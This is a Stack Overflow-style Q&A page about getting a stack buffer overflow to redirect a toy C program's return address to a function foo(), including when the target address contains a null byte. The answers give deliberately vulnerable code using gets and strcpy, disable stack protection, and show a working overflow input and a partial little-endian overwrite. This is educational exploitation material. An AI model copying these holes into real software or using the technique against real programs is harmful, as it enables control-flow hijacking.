5

I was just trying to get a buffer overflow to work on OSX(10.6) on the following program; I need to make foo execute by overflowing the buffer.

#include <string.h>
#include <stdio.h>
void foo() {
    printf("hacked!");
}
int main(int argc, const char *argv[]) {
    char s[100];
    strcpy(s, argv[1]);
}

I compile it as:-

$ gcc -o test test.c -arch i386

On disassembling test I get the address of foo as 0x00001eda. The exploit does not work as intended; probably because the return address is supposed to be overflowed with 0x00001eda with contains a \x00.

In cases where the target address has a \x00, how can a buffer overflow exploit be performed?

Evan M
  • 2,573
  • 1
  • 31
  • 36
  • You should probably use the **-fno-stack-protector** flag to disable the GCC [stack-smashing protector](http://en.wikipedia.org/wiki/Buffer_overflow_protection#GCC_Stack-Smashing_Protector_.28ProPolice.29). – jschmier Apr 05 '11 at 15:59

3 Answers3

2

The strcpy() function stops when it encounters a zero byte (\x00). Since the address you want to write to the stack may contain such a byte, perhaps it is acceptable to do something similar to one of the following examples.

disclaimer

Due to my lack of access to a OS X 10.6 environment, the following code was developed and tested on Windows 7 64-bit using GCC 4.5.2 (MinGW 32-bit). I relied on gdb to assist in determining both the address of foo() and the location of the return address in the stack frame. Further explanation of how I use gdb to determine offset from the buffer to the return address is provided here.


Example 1

code

int main()
{
    char s[4];
    gets(s);
}

The size of the buffer was reduced in order to use shorter input text for overflowing the buffer.

output

gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef\xc6\x13\x30 | ./test
hacked!


Example 2

code

int main(int argc, const char *argv[])
{
    char s[100];
    sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}

The use of atoi() to directly target the return address is not really a good example of a "buffer overflow". However, it is a good exercise in locating and modifying the return address within the stack frame.

output

gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
hacked!

Community
  • 1
  • 1
jschmier
  • 15,458
  • 6
  • 54
  • 72
  • 1
    I don't understand this answer. Why are you scanning an uninitialized string s? That would be a bug that would cause crashes all the time even if the user wasn't a malicious hacker. And I don't see how it allows a hacker to insert code. Also, in the last argument of sscanf, `const char *` is a different from `unsigned int *` so your code gives warnings when compiled with GCC. To demonstrate a buffer overflow, you should find some code that normally compiles and runs correctly, but if the input is too big then malicious code is executed. – David Grayson Apr 06 '11 at 19:55
  • @David Grayson - You are correct. My original code was not a good example because it did not actually work. I have corrected and improved upon the original answer by providing examples that alter the return address in the stack frame to cause the `foo()` function to be executed. – jschmier Apr 06 '11 at 23:05
1

For some reason I was unable to override the stack and registers using strcpy, even though the application crashed.

This question is related to yours and I managed to do trick using that code.

Community
  • 1
  • 1
karlphillip
  • 92,053
  • 36
  • 243
  • 426
1

Remember that all integers (and I'm pretty sure this includes return addresses) are stored in little endian format, which means that the least-significant bytes come first.

Therefore, the bytes of your desired return address (0x00001eda) would be:

0xda, 0x1e, 0x00, 0x00

Look at the code that karlphillip linked you to. He only inserted two address bytes in to the end of his string. You could do the same. The strcpy function will happily copy the two bytes at the end of your string on to the stack, and happily add the null termination character (\x00). Therefore strcpy can set the first 3 bytes of the fake return address. If you are lucky, maybe the 4th byte will already be \x00, because the 4th byte of the correct return address was \x00?

This is not my expertise so I might be wrong.

Community
  • 1
  • 1
David Grayson
  • 84,103
  • 24
  • 152
  • 189